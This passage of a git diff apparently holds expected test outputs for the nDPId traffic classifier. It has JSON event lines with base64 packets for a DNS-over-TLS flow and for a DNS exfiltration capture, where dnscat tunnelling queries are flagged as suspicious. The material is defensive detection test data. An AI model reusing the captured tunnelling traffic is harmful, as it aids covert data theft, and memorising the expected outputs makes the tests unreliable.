+00422{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":269693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uCfrK5DxCAAnjau+CABFAAA0w6hAAEAGpKrAqAG5CAgICOOyA1VVRPv47jtL2YAQAfbSlwAAAQEICiovlTaOOwAQ"} +00692{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":269902,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"uCfrK5DxCAAnjau+CABFAAD6w6lAAEAGo+PAqAG5CAgICOOyA1VVRPv47jtL2YAYAfbTXQAAAQEICiovlTaOOwAQFgMDAMEBAAC9AwOCK\/MuQQ5sSYHkQFarOZKq84a6P\/ILns+YkoRGDIAgSQAAMsAszKnArcAKwCvArMAJwDDMqMAUwC\/AEwCdwJ0ANQCcwJwALwCfzKrAnwA5AJ7AngAzAQAAYgAFAAUBAAAAAAAKABQAEgAXABgAGQAdAQABAQECAQMBBAALAAIBAAANACAAHgQBCAkIBAQDCAcFAQgKCAUFAwYBCAsIBgYDAgECAwAWAAAAFwAAACMAAP8BAAEAABwAAkAA"} +00814{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"dns_dot.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1572783663234,"flow_last_seen":1572783663269,"flow_tot_l4_data_len":342,"flow_min_l4_data_len":32,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.185","dst_ip":"8.8.8.8","src_port":58290,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"4fe4099926d0acdc9b2fe4b02013659f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00423{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":302644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnjau+uCfrK5DxCABFAAA0cqYAAHcG\/qwICAgIwKgBuQNV47LuO0vZVUT8voAQAPDiaAAAAQEICo47ADIqL5U2"} +04560{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":319899,"pkt_caplen":3135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3135,"pkt_l4_len":3101,"pkt":"CAAnjau+uCfrK5DxCABFAAwxcqsAAHcG8qoICAgIwKgBuQNV47LuO0vZVUT8voAYAPDelAAAAQEICo47AEIqL5U2FgMDAD8CAAA7AwNdvsYvAkHw9e7UIX3PyBcPhbDwczOdLTRET1dOR1JEAQDMqAAAEwAXAAD\/AQABAAALAAIBAAAjAAAWAwMKegsACnYACnMABh8wggYbMIIFA6ADAgECAhEAm93VOAzvaEYCAAAAAEfYsDANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMB4XDTE5MTAxMDIwNTg0MloXDTIwMDEwMjIwNTg0MlowZDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBMTEMxEzARBgNVBAMTCmRucy5nb29nbGUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDabVL3kPdFkZMO4tZFZTS3pJCwgDAv0Vaooht8m3xHNG+02FQTpPXnHzVnED+66l8hLi\/lnzRXG3UO6kuSQ4n4aWPEu9y2EfYMSeRt0uZ0Oyx\/Nx0pLeJwf6Q+MeFJ8ViEiMtGPi6uWxbiLjtXxqXEEiYRBaFtX5jMDwm6wV40e+vEiP\/kQOf7WOTGimZzcxCCcJn8hFiAlLXC4ByzIwFE7xcVdP+ydRE9Zy9T\/Y0rFUDDjCcYJFpw5Py9J+9HYCFAcloNZg8S1ortTsRH90h3RwM7Tn\/bVSEzsWHebAF6mMcoc0B8uk3A0szJiY3cqwMwi0ESAYx1nRkHC3pbrq5\/AgMBAAGjggLoMIIC5DAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUeGOKNB8SqBHv7OJWGnOorUt7eUgwHwYDVR0jBBgwFoAUmNH4bhDrz5vsYJ8YkBug630J\/SswZAYIKwYBBQUHAQEEWDBWMCcGCCsGAQUFBzABhhtodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHMxbzEwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwgawGA1UdEQSBpDCBoYIKZG5zLmdvb2dsZYIQKi5kbnMuZ29vZ2xlLmNvbYILODg4OC5nb29nbGWCDmRucy5nb29nbGUuY29tghBkbnM2NC5kbnMuZ29vZ2xlhxAgAUhgSGAAAAAAAAAAAABkhxAgAUhgSGAAAAAAAAAAAGRkhxAgAUhgSGAAAAAAAAAAAIhEhxAgAUhgSGAAAAAAAAAAAIiIhwQICAQEhwQICAgIMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFtt65opAAABAMARzBFAiA2zaOLybV\/po66kZBkyy8WcFZVe8T\/uksXcjWZlDY2pgIhAPeTjLqwHjLhH2wgJ9gFinuuR7lLCOmx+MCyMKiIOxiBAHYAXqdz+d9WwOe1Nkh90EngMnqRmgyEoRIShBh1loFxRVgAAAFtt65owgAABAMARzBFAiEA1B5xDge6E+cVFJVON0YMFY48b6xoUFxQUvzMkiMWUYYCIGScEKTeAm5hjbas8zubogEIcrvEFI\/6e0RKPgdzzou\/MA0GCSqGSIb3DQEBCwUAA4IBAQA9Dp7Wqfw2aYKeyr7uJlu4SujZSvaN675RHdEPhMj+qJGop\/Gq5vJbt91usUroGfvDFQb8VoGPSLFynOC5OY06PXWWCd5c5kKN\/iTeEjX9Ha8HQlh9FEvaul9Qz2lQt+cRe3qRpImpRl4DMKtgNOCxk9SnRVEA3P1o+uOVhDwcPdK2VQ2NPqzeGatK+IxwlukNqW6ZOiKyZvEqQawdfWbDQ40fYxm10LSZdohzHkPn9Oar7WOKW1cMYwnaW7ItZQ9mFqJrMky8xTzHCDRgBJdrijixQdHfxSUsfSCPGAUn5KR0BMBA9hr5HksIm6zCgJYEwKr1jJCqJhVnFhxD4c7tAAROMIIESjCCAzKgAwIBAgINAeO0mqGNiqmBJWlQuDANBgkqhkiG9w0BAQsFADBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0xNzA2MTUwMDAwNDJaFw0yMTEyMTUwMDAwNDJaMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQGM9F1IvN05zkQO9+tN1pIRvJzzyOTHW5DzEZhD2ePCnvUA0Qk28FgICfKqC9EksC4T2fWBYk\/jCfC3R3VZMdS\/dN4ZKCEPZRrAzDsiKUDzRrmBBJ5wudgzndIMYcLe\/RGGFl5yODIKgjEv\/SJH\/UL+dEaltN11BmsK+eQmMF++AcxGNhr59qM\/9il71I2dN8FGfcddwuaej4bXhp0LcQBbjxMcI7JP0aM3T4I+DsaxmKFsbjzaTNC9uzpFlgOIg7rR25xoynUxv8vNmkq7zdPGHXkxWY7oG9j+JkRyBABk7XrJfoucBZEqFJJSPk7XA0LKW0Y3z5oz2D0c1tJKwHAgMBAAGjggEzMIIBLzAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFJjR+G4Q68+b7GCfGJAboOt9Cf0rMB8GA1UdIwQYMBaAFJviB1dnHB7AagbeWbSaLd\/cGYYuMDUGCCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AucGtpLmdvb2cvZ3NyMjAyBgNVHR8EKzApMCegJaAjhiFodHRwOi8vY3JsLnBraS5nb29nL2dzcjIvZ3NyMi5jcmwwPwYDVR0gBDgwNjA0BgZngQwBAgIwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly9wa2kuZ29vZy9yZXBvc2l0b3J5LzANBgkqhkiG9w0BAQsFAAOCAQEAGoA+Nnn78y6pRjd9XlQWNa7HTgiZ\/r3RNGkmUmYHPQq6Scti9PEajvwRT2iWTHQr02fesqOqBY2ETUwgZQ+lltoNFvhsO9tvBCOIazpswWC9aJ9xju4tWDQH8NVU6YZZ\/XteDSGU9YzJqPjY8q3MDxrzmqepBCf5o8mw\/wJ4a2G6xzUr6Fb6T8McDO22PLRL6u3M4Tzs3A2M1j6bykJYi8wWIRdAvKLWZu\/axBVbzYmqmwkm5zLSDW5nIAJbELCQCZwMH56t2Dvqofxs6BBcCFIZUSpxu6x6td0V7SvJCCosirSmIatj\/9dSSVDQibet8q\/7UK4v4ZUN80atnZz1yhYDAwEsDAABKAMAHSCENl1POvb6My7D4hPc\/sMJ7Tufg\/LCEx1rGH6qSE8RaQgEAQC5wySkCTDkvijEKyzcSo\/8MnFKyuNuS9ozlsIo\/40DVij51vWGmHTS5GhFyCASQxaHGFTYsSHNMC3Wgv1H5KA3Mee1B9o\/hTw4uoTHLTeXjL2YEsYJN9UTVvZQVJzdkM4XQcWw5Br+vs7\/JC6fD8JjJh5+eSdQSQUB1aDgH89Z9ZwCeYsojgzQtwUQ5wgEEXVn+8ro2wBZ1wX27tOYjI\/oTWlDrsQz8l4usXnSogdtc1LL9t0IoL8kjOwDk997Z7u7Ftz23DDAL\/5t80M3zHefGPuWFCnrCFYqLE6vev\/cyzB+YQm+GAEHnkVrh2JZz65l3\/Xfzwl06w\/f+XmJ7He+FgMDAAQOAAAA"} +01180{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"dns_dot.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1572783663234,"flow_last_seen":1572783663319,"flow_tot_l4_data_len":3475,"flow_min_l4_data_len":32,"flow_max_l4_data_len":3101,"flow_avg_l4_data_len":579,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.185","dst_ip":"8.8.8.8","src_port":58290,"dst_port":853,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","server_names":"dns.google,*.dns.google.com,8888.google,dns.google.com,dns64.dns.google","ja3":"4fe4099926d0acdc9b2fe4b02013659f","ja3s":"2b341b88c742e940cfb485ce7d93dde7","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=dns.google","fingerprint":"BE:73:46:2A:2E:FB:A9:E9:42:D0:71:10:1B:8C:BF:44:6A:5D:AD:53"}} +00422{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":319932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uCfrK5DxCAAnjau+CABFAAA0w6pAAEAGpKjAqAG5CAgICOOyA1VVRPy+7jtX1oAQAenSlwAAAQEICiovlWiOOwBC"} +00544{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":320932,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"uCfrK5DxCAAnjau+CABFAACJw6tAAEAGpFLAqAG5CAgICOOyA1VVRPy+7jtX1oAYAfXS7AAAAQEICiovlWmOOwBCFgMDACUQAAAhIIM\/\/7FVcfHSFoqNIHr07cwqtvDH7hAhWndiIOh8GFcLFAMDAAEBFgMDACAsJJrG91X8jl9pfndV2J\/0bngr7Be5pjDHfr3UQO+thw=="} +00456{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":321029,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"uCfrK5DxCAAnjau+CABFAABLw6xAAEAGpI\/AqAG5CAgICOOyA1VVRP0T7jtX1oAYAfXSrgAAAQEICiovlWmOOwBCFwMDABJ94OHAwTINl5f66A1sOf3\/IT8="} +00510{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":321141,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"uCfrK5DxCAAnjau+CABFAAByw61AAEAGpGfAqAG5CAgICOOyA1VVRP0q7jtX1oAYAfXS1QAAAQEICiovlWmOOwBCFwMDADk+iF8WPogamauS6gq3tjNHZmWCZeuPS7CKykhxgrPl9SkAa+FKuW8abnIFYN1rE6iL2lyZIzBEbNg="} +00801{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":351849,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"CAAnjau+uCfrK5DxCABFAAFIcr0AAHcG\/YEICAgIwKgBuQNV47LuO1fWVUT9E4AYAPBtAgAAAQEICo47AGMqL5VpFgMDAOQEAADgAAGJwADaAANPyS96Dnih+MQfD5GnBlJnAkBO\/bzmqeQVptfgwT391iseGI33ohOOJcPIJSQK\/OjtFfbzntzZDgiiBxv5lJS3Yn5133JSBVoRxa4quztlpAvYA7UZoOrFtfDjnvq7jfvTcSl9TjxdScdWC+QMTiN+ojOC3txxoYuf\/VMy7bQhkhTmvfdxyxc8O8Sl54xomNFsejR1POo2iLuH5HcvEW7rkSCZwQ8bZnjAZ1GAUdUtTREFP8VWiZGr9cIJ50sqsyH9aBwXSaRanjNBwG8rnHNe8cOQ9Ply\/wEUAwMAAQEWAwMAIMflBP6A7l78Jq+fJ0vlRSexLHF48\/TgtM27rcU3NLae"} +00425{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":351880,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnjau+uCfrK5DxCABFAAA0cr4AAHcG\/pQICAgIwKgBuQNV47LuO1jqVUT9aIAQAPDUSQAAAQEICo47AGMqL5Vp"} +00581{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":362911,"pkt_caplen":178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":178,"pkt_l4_len":144,"pkt":"CAAnjau+uCfrK5DxCABFAACkcscAAHcG\/hsICAgIwKgBuQNV47LuO1jqVUT9aIAYAPA14wAAAQEICo47AG0qL5VpFwMDAGtCZAKYrlOw7p7Ypme9t\/jxCtE4s3HbB+oF3nvBhGolPit9CQPVOUDaPHWJ6Wddy5sdn+0b82cMnVdi1F6cKaM9dEhCKMWku7ZXhgF9LPwgwe31yVB9tI+mAU3oHSrmP6q7mlJnO5Q6OCmQ+g=="} +00424{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783663,"pkt_ts_usec":363038,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uCfrK5DxCAAnjau+CABFAAA0w65AAEAGpKTAqAG5CAgICOOyA1VVRP1o7jtZWoAQAfXSlwAAAQEICiovlZOOOwBj"} +00457{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dns_dot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1572783664,"pkt_ts_usec":523258,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"uCfrK5DxCAAnjau+CABFAABLw69AAEAGpIzAqAG5CAgICOOyA1VVRP1o7jtZWoAYAfXSrgAAAQEICiovmhuOOwBjFwMDABI82N\/gUdWtanJsd6FACr8N0eU="} diff --git a/test/results/dns_exfiltration.pcap.out b/test/results/dns_exfiltration.pcap.out new file mode 100644 index 000000000..8d3d4999e --- /dev/null +++ b/test/results/dns_exfiltration.pcap.out @@ -0,0 +1,23 @@ +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1580978146717,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00634{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978146,"pkt_ts_usec":717893,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"qqru7hERjNzURr7ECABFAADJegRAAD8RAADAqNw4wKjLp9w1ADUAtSn4OR0BAAABAAAAAAAABmRuc2NhdDw1NDZiMDNmNTAwMDAwMDAwMDBhNjAyM2VkNGRmMTg0ZDZhYzVjMjYyOGI0NzcxNGZkZWU1ODRmZWQ3Mzk8NWEwM2I1YjFlMWFhOGY4ZmRiMWJiZThkNWUwNDk1MjE0MWY3ZDRmODJjN2UzYjA2ZGNjOGI4N2ZhZDdhGjE5ZTRkMDk4ZGM4YzYxOGY4ZDgxY2ZlYjAyAAAPAAE="} +00840{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1580978146717,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dnscat.546b03f50000000000a6023ed4df184d6ac5c2628b47714fdee584fed739.5a03b5b1e1aa8f8fdb1bbe8d5e04952141f7d4f82c7e3b06dcc8b87fad7a.19e4d098dc8c618f8d81cfeb02","num_queries":0,"num_answers":0,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00863{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978146,"pkt_ts_usec":888524,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"jNzURr7Eqqru7hERCABFAAF0PC1AAD8R1RrAqMunwKjcOAA13DUBYD3xOR2BgAABAAEAAAAABmRuc2NhdDw1NDZiMDNmNTAwMDAwMDAwMDBhNjAyM2VkNGRmMTg0ZDZhYzVjMjYyOGI0NzcxNGZkZWU1ODRmZWQ3Mzk8NWEwM2I1YjFlMWFhOGY4ZmRiMWJiZThkNWUwNDk1MjE0MWY3ZDRmODJjN2UzYjA2ZGNjOGI4N2ZhZDdhGjE5ZTRkMDk4ZGM4YzYxOGY4ZDgxY2ZlYjAyAAAPAAHADAAPAAEAAAA8AJ8ACgZkbnNjYXQ\/MjAxZjAzZjUwMDAwMDAwMDAwNzEzYjkyNzFmMDExZGM3NjQyM2RhYjM5MmMzMmMxOGJmYzk2YjZkMjY5NWEyPzZhOTExYzk0NDcyZjU5NDA5YTVmNTI2MDEzZTc2MDE5MzY2YTA3NzkyOWUzNDgwZmJlNmQ3YzRlZGE2ZjkwOBRmMmJjOTlhNjAxZTFhODIyMTMzNgA="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1580978146717,"flow_last_seen":1580978146888,"flow_tot_l4_data_len":533,"flow_min_l4_data_len":181,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":266,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dnscat.546b03f50000000000a6023ed4df184d6ac5c2628b47714fdee584fed739.5a03b5b1e1aa8f8fdb1bbe8d5e04952141f7d4f82c7e3b06dcc8b87fad7a.19e4d098dc8c618f8d81cfeb02","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00570{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978147,"pkt_ts_usec":753419,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"qqru7hERjNzURr7ECABFAACYekZAAD8RAADAqNw4wKjLp9w1ADUAhCnHfRoBAAABAAAAAAAABmRuc2NhdDw5MWYwMDNmNTAwZjYxMjIxODEwYWVhMDAwMDA0ODYzYzY5MTU4MGVjYWQ2NmY2NGFjN2RkYjg3Yjg5YzcmOTIwMDgyMWU1MjdkNGUxNzYzMjUzYzI1ZTI5N2UyYWE0MTEzZDAAAAUAAQ=="} +00811{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1580978146717,"flow_last_seen":1580978147753,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":132,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":221,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dnscat.91f003f500f61221810aea000004863c691580ecad66f64ac7ddb87b89c7.9200821e527d4e1763253c25e297e2aa4113d0","num_queries":1,"num_answers":1,"reply_code":0,"query_type":5,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00732{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978147,"pkt_ts_usec":755001,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"jNzURr7Eqqru7hERCABFAAEQPNhAAD8R1NPAqMunwKjcOAA13DUA\/N3XfRqBgAABAAEAAAAABmRuc2NhdDw5MWYwMDNmNTAwZjYxMjIxODEwYWVhMDAwMDA0ODYzYzY5MTU4MGVjYWQ2NmY2NGFjN2RkYjg3Yjg5YzcmOTIwMDgyMWU1MjdkNGUxNzYzMjUzYzI1ZTI5N2UyYWE0MTEzZDAAAAUAAcAMAAUAAQAAADwAbAZkbnNjYXQ\/OWI2MTAzZjUwMGVlZTIwYjE1MTVmZGZmZmZiNTU4MmRiY2I4YzYwODg4NzY5MjFhNGI2MTNkZDkyNDIyNWQ1IzM0YjgzZDM2ZjJiNWJlNDljMzM0ZGIzMzAzMmFkNjE4ZTc1AA=="} +00810{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1580978146717,"flow_last_seen":1580978147755,"flow_tot_l4_data_len":917,"flow_min_l4_data_len":132,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":229,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"dnscat.91f003f500f61221810aea000004863c691580ecad66f64ac7ddb87b89c7.9200821e527d4e1763253c25e297e2aa4113d0","num_queries":1,"num_answers":1,"reply_code":0,"query_type":5,"rsp_type":5,"rsp_addr":"0.0.0.0"}} +00530{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dns_exfiltration.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1580978148,"pkt_ts_usec":768689,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"qqru7hERjNzURr7ECABFAAB6emtAAD8RAADAqNw4wKjLp9w1ADUAZimpRz4BAAABAAAAAAAABmRuc2NhdDxhMzVjMDBmNTAwNTcwM2M4YjFiOGNkMDAwMTE4YjUyMzQ3YWViMWQ3MzM0MGM5N2NjYTQzYzM0YjI3Y2YIZWRmMGRiZGEAAA8AAQ=="} +00782{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"dns_exfiltration.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":5,"flow_first_seen":1580978146717,"flow_last_seen":1580978148768,"flow_tot_l4_data_len":1019,"flow_min_l4_data_len":102,"flow_max_l4_data_len":352,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.220.56","dst_ip":"192.168.203.167","src_port":56373,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": 